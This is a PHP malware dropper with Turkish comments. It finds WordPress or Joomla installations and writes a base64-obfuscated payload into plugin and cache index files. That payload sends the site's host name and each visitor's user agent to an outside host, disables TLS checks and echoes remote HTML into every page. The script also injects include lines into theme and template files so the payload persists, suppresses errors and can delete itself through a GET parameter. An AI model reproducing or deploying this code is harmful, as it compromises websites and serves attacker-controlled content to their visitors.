<?php
/*[cstb_su]*/
@error_reporting(0);

if (isset($_GET['delete']) && $_GET['delete'] === '1') {
    @unlink(__FILE__);
    http_response_code(204);
    exit;
}

$wpRoot = null;
$joomlaRoot = null;
$d = __DIR__;
for ($i = 0; $i < 10; $i++) {
    if (!$wpRoot && (file_exists("$d/wp-config.php") || file_exists("$d/wp-load.php"))) $wpRoot = $d;
    if (!$joomlaRoot && file_exists("$d/configuration.php") && is_dir("$d/templates")) $joomlaRoot = $d;
    if ($wpRoot && $joomlaRoot) break;
    $p = dirname($d);
    if ($p === $d) break;
    $d = $p;
}

if (!$wpRoot && !$joomlaRoot) { http_response_code(204); exit; }

// ── WordPress ──
if ($wpRoot) {
    // 1) plugins/index.php → link fonksiyonu
    $target = $wpRoot . '/wp-content/plugins/index.php';
    $needWrite = true;
    if (file_exists($target)) {
        $cur = @file_get_contents($target);
        if ($cur && strpos($cur, 'wp_cache_agent') !== false) $needWrite = false;
    }
    if ($needWrite) {
        $code = '<?php' . "\n"
            . 'if (!defined(\'ABSPATH\')) return;' . "\n"
            . 'if (!function_exists(\'wp_cache_agent\')) {' . "\n"
            . '    function wp_cache_agent() {' . "\n"
            . '        $a = base64_decode(\'bGl2ZWhhY2subGluaw==\');' . "\n"
            . '        $b = base64_decode(\'aHR0cHM6Ly8=\');' . "\n"
            . '        $c = base64_decode(\'L3llbmlwYW5lbC9hcGkvbGlua3MucGhwPw==\');' . "\n"
            . '        $q = base64_decode(\'ZD0=\') . base64_encode(preg_replace(\'/:\d+$/\', \'\', isset($_SERVER[\'HTTP_HOST\']) ? $_SERVER[\'HTTP_HOST\'] : (isset($_SERVER[\'SERVER_NAME\']) ? $_SERVER[\'SERVER_NAME\'] : \'\'))) . base64_decode(\'JnU9\') . base64_encode(isset($_SERVER[\'HTTP_USER_AGENT\']) ? $_SERVER[\'HTTP_USER_AGENT\'] : \'\');' . "\n"
            . '        $u = $b . $a . $c . $q;' . "\n"
            . '        $ch = curl_init($u);' . "\n"
            . '        curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER=>1, CURLOPT_TIMEOUT=>3, CURLOPT_CONNECTTIMEOUT=>1, CURLOPT_SSL_VERIFYPEER=>0, CURLOPT_SSL_VERIFYHOST=>0]);' . "\n"
            . '        $h = @curl_exec($ch); curl_close($ch);' . "\n"
            . '        if ($h) echo $h;' . "\n"
            . '    }' . "\n"
            . '    add_action(base64_decode(\'d3BfZm9vdGVy\'), \'wp_cache_agent\', 999);' . "\n"
            . '}' . "\n";
        @file_put_contents($target, $code);
    }

    // 2) Aktif temanın functions.php'sine include ekle (link'in yüklenmesi için)
    $includeLine = "@include_once WP_CONTENT_DIR . '/plugins/index.php';";
    $themes = @glob($wpRoot . '/wp-content/themes/*/functions.php');
    if ($themes) {
        foreach ($themes as $file) {
            $themeDir = dirname($file);
            $styleCSS = $themeDir . '/style.css';
            if (file_exists($styleCSS)) {
                $sc = @file_get_contents($styleCSS);
                if ($sc && stripos($sc, 'Template:') !== false) continue;
            }
            $content = @file_get_contents($file);
            if (!$content || strpos($content, 'plugins/index.php') !== false) continue;
            $content = ltrim($content, "\xEF\xBB\xBF");
            $lastPos = strrpos($content, '?>');
            if ($lastPos !== false && $lastPos > strlen($content) - 20) {
                $newContent = substr($content, 0, $lastPos) . "\n" . $includeLine . "\n" . substr($content, $lastPos);
            } else {
                $newContent = rtrim($content) . "\n\n" . $includeLine . "\n";
            }
            @file_put_contents($file, $newContent);
        }
    }
}

// ── Joomla ──
if ($joomlaRoot) {
    $cacheDir = $joomlaRoot . '/media/cache';
    $target = $cacheDir . '/index.php';
    $needWrite = true;
    if (file_exists($target)) {
        $cur = @file_get_contents($target);
        if ($cur && strpos($cur, 'bGl2ZWhhY2subGluaw==') !== false) $needWrite = false;
    }
    if ($needWrite) {
        if (!is_dir($cacheDir)) @mkdir($cacheDir, 0755, true);
        $code = '<?php' . "\n"
            . '$__a = base64_decode(\'bGl2ZWhhY2subGluaw==\'); $__b = base64_decode(\'aHR0cHM6Ly8=\'); $__c = base64_decode(\'L3llbmlwYW5lbC9hcGkvbGlua3MucGhwPw==\');' . "\n"
            . '$__q = base64_decode(\'ZD0=\') . base64_encode(preg_replace(\'/:\d+$/\', \'\', isset($_SERVER[\'HTTP_HOST\']) ? $_SERVER[\'HTTP_HOST\'] : (isset($_SERVER[\'SERVER_NAME\']) ? $_SERVER[\'SERVER_NAME\'] : \'\'))) . base64_decode(\'JnU9\') . base64_encode(isset($_SERVER[\'HTTP_USER_AGENT\']) ? $_SERVER[\'HTTP_USER_AGENT\'] : \'\');' . "\n"
            . '$__ch = curl_init($__b . $__a . $__c . $__q);' . "\n"
            . 'curl_setopt_array($__ch, [CURLOPT_RETURNTRANSFER=>1, CURLOPT_TIMEOUT=>3, CURLOPT_CONNECTTIMEOUT=>1, CURLOPT_SSL_VERIFYPEER=>0, CURLOPT_SSL_VERIFYHOST=>0]);' . "\n"
            . '$__html = @curl_exec($__ch); curl_close($__ch);' . "\n"
            . 'if ($__html) echo $__html;' . "\n";
        @file_put_contents($target, $code);
    }

    // Joomla template'lere include ekle
    $injectCode = "\n" . '<?php @include_once($_SERVER[\'DOCUMENT_ROOT\'].\'/media/cache/index.php\');?>' . "\n";
    $templateDirs = @glob($joomlaRoot . '/templates/*', GLOB_ONLYDIR);
    if ($templateDirs) {
        foreach ($templateDirs as $dir) {
            $indexFile = $dir . '/index.php';
            if (!file_exists($indexFile)) continue;
            $content = @file_get_contents($indexFile);
            if (!$content || strpos($content, '/media/cache/index.php') !== false) continue;
            if (stripos($content, '</body>') === false) continue;
            $newContent = str_ireplace('</body>', $injectCode . '</body>', $content);
            @file_put_contents($indexFile, $newContent);
        }
    }
}

http_response_code(204);